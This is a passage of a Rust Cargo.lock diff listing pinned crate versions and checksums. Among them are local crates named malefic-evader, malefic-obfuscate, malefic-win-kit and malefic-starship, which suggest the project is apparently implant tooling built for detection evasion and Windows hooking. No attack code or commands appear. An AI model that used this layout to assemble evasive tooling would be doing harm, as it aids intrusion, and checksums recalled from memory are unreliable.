"59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" +dependencies = [ + "libc", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0a5c400df2834b80a4c3327b3aad3a4c4cd4de0629063962b03235697506a28" + +[[package]] +name = "crunchy" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "460fbee9c2c2f33933d720630a6a0bac33ba7053db5344fac858d4b8952d77d5" + +[[package]] +name = "crypto-common" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "ctr" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835" +dependencies = [ + "cipher", +] + +[[package]] +name = "des" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffdd80ce8ce993de27e9f063a444a4d53ce8e8db4c1f00cc03af5ad5a9867a1e" +dependencies = [ + "cipher", +] + +[[package]] +name = "detour" +version = "0.1.0" +source = "git+https://github.com/chainreactors/retour-rs?branch=fix-nightly1.67.0-changes#71ed8a31a7f0e9be8b6b5e1b57c599f3cb496662" +dependencies = [ + "cfg-if", + "generic-array", + "lazy_static", + "libc", + "libudis86-sys", + "mmap-fixed-fixed", + "region", + "slice-pool", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", +] + +[[package]] +name = "ecb" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a8bfa975b1aec2145850fcaa1c6fe269a16578c44705a532ae3edc92b8881c7" +dependencies = [ + "cipher", +] + +[[package]] +name = "either" +version = "1.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719" + +[[package]] +name = "errno" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "event-listener" +version = "5.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13b66accf52311f30a0db42147dadea9850cb48cd070028831ae5f5d4b856ab" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] +name = "event-listener-strategy" +version = "0.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8be9f3dfaaffdae2972880079a491a1a8bb7cbed0b8dd7a347f668b4150a3b93" +dependencies = [ + "event-listener", + "pin-project-lite", +] + +[[package]] +name = "fastrand" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be" + +[[package]] +name = "find-msvc-tools" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" + +[[package]] +name = "futures" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b147ee9d1f6d097cef9ce628cd2ee62288d963e16fb287bd9286455b241382d" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07bbe89c50d7a535e539b8c17bc0b49bdb77747034daa8087407d655f3f7cc1d" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7e3450815272ef58cec6d564423f6e755e25379b217b0bc688e295ba24df6b1d" + +[[package]] +name = "futures-executor" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf29c38818342a3b26b5b923639e7b1f4a61fc5e76102d4b1981c6dc7a7579d" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cecba35d7ad927e23624b22ad55235f2239cfa44fd10428eecbeba6d6a717718" + +[[package]] +name = "futures-lite" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f78e10609fe0e0b3f4157ffab1876319b5b0db102a2c60dc4626306dc46b44ad" +dependencies = [ + "fastrand", + "futures-core", + "futures-io", + "parking", + "pin-project-lite", +] + +[[package]] +name = "futures-macro" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e835b70203e41293343137df5c0664546da5745f82ec9b84d40be8336958447b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "futures-sink" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c39754e157331b013978ec91992bde1ac089843443c49cbc7f46150b0fad0893" + +[[package]] +name = "futures-task" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "037711b3d59c33004d3856fbdc83b99d4ff37a24768fa1be9ce3538a1cde4393" + +[[package]] +name = "futures-timer" +version = "3.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f288b0a4f20f9a56b5d1da57e2227c661b7b16168e2f72365f57b63326e29b24" + +[[package]] +name = "futures-util" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "389ca41296e6190b48053de0321d02a77f32f8a5d2461dd38762c0593805c6d6" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "glob" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0cc23270f6e1808e30a928bdc84dea0b9b4136a8bc82338574f23baf47bbd280" + +[[package]] +name = "goblin" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b363a30c165f666402fe6a3024d3bec7ebc898f96a4a23bd1c99f8dbf3f4f47" +dependencies = [ + "log", + "plain", + "scroll", +] + +[[package]] +name = "hashbrown" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" + +[[package]] +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "hermit-abi" +version = "0.1.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33" +dependencies = [ + "libc", +] + +[[package]] +name = "hermit-abi" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc0fef456e4baa96da950455cd02c081ca953b141298e41db3fc7e36b1da849c" + +[[package]] +name = "indexmap" +version = "1.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99" +dependencies = [ + "autocfg", + "hashbrown", +] + +[[package]] +name = "inout" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01" +dependencies = [ + "block-padding", + "generic-array", +] + +[[package]] +name = "itertools" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "284f18f85651fe11e8a991b2adb42cb078325c996ed026d994719efcfca1d54b" +dependencies = [ + "either", +] + +[[package]] +name = "itertools" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "413ee7dfc52ee1a4949ceeb7dbc8a33f2d6c088194d9f922fb8318faf1f01186" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "1.0.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92ecc6618181def0457392ccd0ee51198e065e016d1d527a7ac1b6dc7c1f09d2" + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" +dependencies = [ + "spin", +] + +[[package]] +name = "libc" +version = "0.2.182" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6800badb6cb2082ffd7b6a67e6125bb39f18782f793520caee8cb8846be06112" + +[[package]] +name = "libloading" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7c4b02199fee7c5d21a5ae7d8cfa79a6ef5bb2fc834d6e9058e89c825efdc55" +dependencies = [ + "cfg-if", + "windows-link", +] + +[[package]] +name = "libudis86-sys" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "139bbf9ddb1bfc90c1ac64dd2923d9c957cd433cee7315c018125d72ab08a6b0" +dependencies = [ + "cc", + "libc", +] + +[[package]] +name = "linux-raw-sys" +version = "0.4.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab" + +[[package]] +name = "linux-raw-sys" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" + +[[package]] +name = "log" +version = "0.4.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897" + +[[package]] +name = "mach2" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d640282b302c0bb0a2a8e0233ead9035e3bed871f0b7e81fe4a1ec829765db44" +dependencies = [ + "libc", +] + +[[package]] +name = "malefic-codec" +version = "0.1.0" +dependencies = [ + "aes", + "cbc", + "chacha20", + "cipher", + "des", + "ecb", + "malefic-common", + "malefic-macro", + "malefic-obfuscate", + "sha2", +] + +[[package]] +name = "malefic-common" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-trait", + "futures", + "futures-timer", + "libc", + "malefic-obfuscate", + "nanorand", + "thiserror", +] + +[[package]] +name = "malefic-evader" +version = "0.1.0" +dependencies = [ + "malefic-common", + "malefic-obfuscate", + "malefic-os-win", + "malefic-process", +] + +[[package]] +name = "malefic-macro" +version = "0.1.1" +dependencies = [ + "aes", + "const-random", + "ctr", + "proc-macro2", + "quote", + "rand", + "syn 2.0.117", +] + +[[package]] +name = "malefic-obfuscate" +version = "0.1.0" +dependencies = [ + "aes", + "ctr", + "libc", + "malefic-macro", + "nanorand", + "windows", + "zeroize", +] + +[[package]] +name = "malefic-os-win" +version = "0.1.0" +dependencies = [ + "anyhow", + "bindgen", + "malefic-common", + "malefic-obfuscate", + "malefic-process", + "malefic-win-kit", + "quote", + "strum", + "strum_macros", + "syn 2.0.117", + "windows", +] + +[[package]] +name = "malefic-process" +version = "0.1.0" +dependencies = [ + "anyhow", + "async-process", + "libc", + "malefic-common", + "malefic-macro", + "malefic-obfuscate", + "nix", + "users", + "windows", +] + +[[package]] +name = "malefic-starship" +version = "0.1.0" +dependencies = [ + "bindgen", + "cc", + "malefic-codec", + "malefic-evader", + "malefic-obfuscate", + "malefic-os-win", + "quote", + "syn 2.0.117", + "tempfile", +] + +[[package]] +name = "malefic-win-kit" +version = "0.1.0" +dependencies = [ + "base64", + "bitflags 1.3.2", + "cbindgen", + "cfg-if", + "detour", + "goblin", + "itertools 0.9.0", + "lazy_static", + "nanorand", + "obfstr", + "winapi", + "windows", + "windows-sys 0.59.0", +] + +[[package]] +name = "memchr" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79" + +[[package]] +name = "memoffset" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5de893c32cde5f383baa4c04c5d6dbdd735cfd4a794b0debdb2bb1b421da5ff4" +dependencies = [ + "autocfg", +] + +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + +[[package]] +name = "mmap-fixed-fixed" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0681853891801e4763dc252e843672faf32bcfee27a0aa3b19733902af450acc" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "nanorand" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a51313c5820b0b02bd422f4b44776fbf47961755c74ce64afc73bfad10226c3" + +[[package]] +name = "nix" +version = "0.26.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "598beaf3cc6fdd9a5dfb1630c2800c7acd31df7aaf0f565796fba2b53ca1af1b" +dependencies = [ + "bitflags 1.3.2", + "cfg-if", + "libc", + "memoffset", + "pin-utils", +] + +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "obfstr" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0d354e9a302760d07e025701d40534f17dd1fe4c4db955b4e3bd2907c63bdee" + +[[package]] +name = "once_cell" +version = "1.21.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" + +[[package]] +name = "os_str_bytes" +version = "6.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2355d85b9a3786f481747ced0e0ff2ba35213a1f9bd406ed906554d7af805a1" + +[[package]] +name = "parking" +version = "2.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f38d5652c16fde515bb1ecef450ab0f6a219d619a7274976324d5e377f7dceba" + +[[package]] +name = "pin-project-lite" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "piper" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c835479a4443ded371d6c535cbfd8d31ad92c5d23ae9770a61bc155e4992a3c1" +dependencies = [ + "atomic-waker", + "fastrand", + "futures-io", +] + +[[package]] +name = "plain" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4596b6d070b27117e987119b4dac604f3c58cfb0b191112e24771b2faeac1a6" + +[[package]] +name = "polling" +version = "3.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d0e4f59085d47d8241c88ead0f274e8a0cb551f3625263c05eb8dd897c34218" +dependencies = [ + "cfg-if", + "concurrent-queue", + "hermit-abi 0.5.2", + "pin-project-lite", + "rustix 1.1.4", + "windows-sys 0.61.2", +] + +[[package]] +name = "ppv-lite86" +version = "0.2.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "prettyplease" +version = "0.2.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b" +dependencies = [ + "proc-macro2", + "syn 2.0.117", +] + +[[package]] +name = "proc-macro2" +version = "1.0.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41f2619966050689382d2b44f664f4bc593e129785a36d6ee376ddf37259b924" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "regex" +version = "1.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e10754a14b9137dd7b1e3e5b0493cc9171fdd105e0ab477f51b72e7f3ac0e276" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e1dd4122fc1595e8162618945476892eefca7b88c52820e74af6262213cae8f" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc897dd8d9e8bd1ed8cdad82b5966c3e0ecae09fb1907d58efaa013543185d0a" + +[[package]] +name = "region" +version = "3.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6b6ebd13bc009aef9cd476c1310d49ac354d36e240cf1bd753290f3dc7199a7" +dependencies = [ + "bitflags 1.3.2", + "libc", + "mach2", + "windows-sys 0.52.0", +] + +[[package]] +name = "rustc-hash" +version = "2.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "357703d41365b4b27c590e3ed91eabb1b663f07c4c084095e60cbed4362dff0d" + +[[package]] +name = "rustix" +version = "0.38.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154" +dependencies = [ + "bitflags 2.11.0", + "errno", + "libc", + "linux-raw-sys 0.4.15", + "windows-sys 0.59.0", +] + +[[package]] +name = "rustix" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6fe4565b9518b83ef4f91bb47ce29620ca828bd32cb7e408f0062e9930ba190" +dependencies = [ + "bitflags 2.11.0", + "errno", + "libc", + "linux-raw-sys 0.12.1", + "windows-sys 0.61.2", +] + +[[package]] +name = "rustversion" +version = "1.0.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d" + +[[package]] +name = "scroll" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ab8598aa408498679922eff7fa985c25d58a90771bd6be794434c5277eab1a6" +dependencies = [ + "scroll_derive", +] + +[[package]] +name = "scroll_derive" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1783eabc414609e28a5ba76aee5ddd52199f7107a0b24c2e9746a1ecc34a683d" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "serde" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "serde_json" +version = "1.0.149" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "signal-hook-registry" +version = "1.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4db69cba1110affc0e9f7bcd48bbf87b3f4fc7c61fc9155afd4c469eb3d6c1b" +dependencies = [ + "errno", + "libc", +] + +[[package]] +name = "slab" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" + +[[package]] +name = "slice-pool" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "733fc6e5f1bd3a8136f842c9bdea4e5f17c910c2fcc98c90c3aa7604ef5e2e7a" + +[[package]] +name = "spin" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" + +[[package]] +name = "strsim" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" + +[[package]] +name = "strum" +version = "0.26.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fec0f0aef304996cf250b31b5a10dee7980c85da9d759361292b8bca5a18f06" + +[[package]] +name = "strum_macros" +version = "0.26.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c6bee85a5a24955dc440386795aa378cd9cf82acd5f764469152d2270e581be" +dependencies = [ + "heck 0.5.0", + "proc-macro2", + "quote", + "rustversion", + "syn 2.0.117", +] + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e665b8803e7b1d2a727f4023456bbbbe74da67099c585258af0ad9c5013b9b99" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "tempfile" +version = "3.15.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a8a559c81686f576e8cd0290cd2a24a2a9ad80c98b3478856500fcbd7acd704" +dependencies = [ + "cfg-if", + "fastrand", + "getrandom", + "once_cell", + "rustix 0.38.44", + "windows-sys 0.59.0", +] + +[[package]] +name = "termcolor" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06794f8f6c5c898b3275aebefa6b8a1cb24cd2c6c79397ab15774837a0bc5755" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "textwrap" +version = "0.16.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c13547615a44dc9c452a8a534638acdf07120d4b6847c8178705da06306a3057" + +[[package]] +name = "thiserror" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4288b5bcbc7920c07a1149a35cf9590a2aa808e0bc1eafaade0b80947865fbc4" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebc4ee7f67670e9b64d05fa4253e753e016c6c95ff35b89b7941d6b856dec1d5" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "tiny-keccak" +version = "2.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c9d3793400a45f954c52e73d068316d76b6f4e36977e3fcebb13a2721e80237" +dependencies = [ + "crunchy", +] + +[[package]] +name = "toml" +version = "0.5.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234" +dependencies = [ + "serde", +] + +[[package]] +name = "typenum" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "562d481066bde0658276a35467c4af00bdc6ee726305698a55b86e61d7ad82bb" + +[[package]] +name = "unicode-ident" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" + +[[package]] +name = "users" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24cc0f6d6f267b73e5a2cadf007ba8f9bc39c6a6f9666f8cf25ea809a153b032" +dependencies = [ + "libc", + "log", +] + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd04d41d93c4992d421894c18c8b43496aa748dd4c081bac0dc93eb0489272b6" +dependencies = [ + "windows-core", + "windows-targets", +] + +[[package]] +name = "windows-core" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ba6d44ec8c2591c134257ce647b7ea6b20335bf6379a27dac5f1641fcf59f99" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-result", + "windows-strings", + "windows-targets", +] + +[[package]] +name = "windows-implement" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2bbd5b46c938e506ecbce286b6628a02171d56153ba733b6c741fc627ec9579b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "windows-interface" +version = "0.58.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053c4c462dc91d3b1504c6fe5a726dd15e216ba718e84a0e46a88fbe5ded3515" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-result" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d1043d8214f791817bab27572aaa8af63732e11bf84aa21a45a78d6c317ae0e" +dependencies = 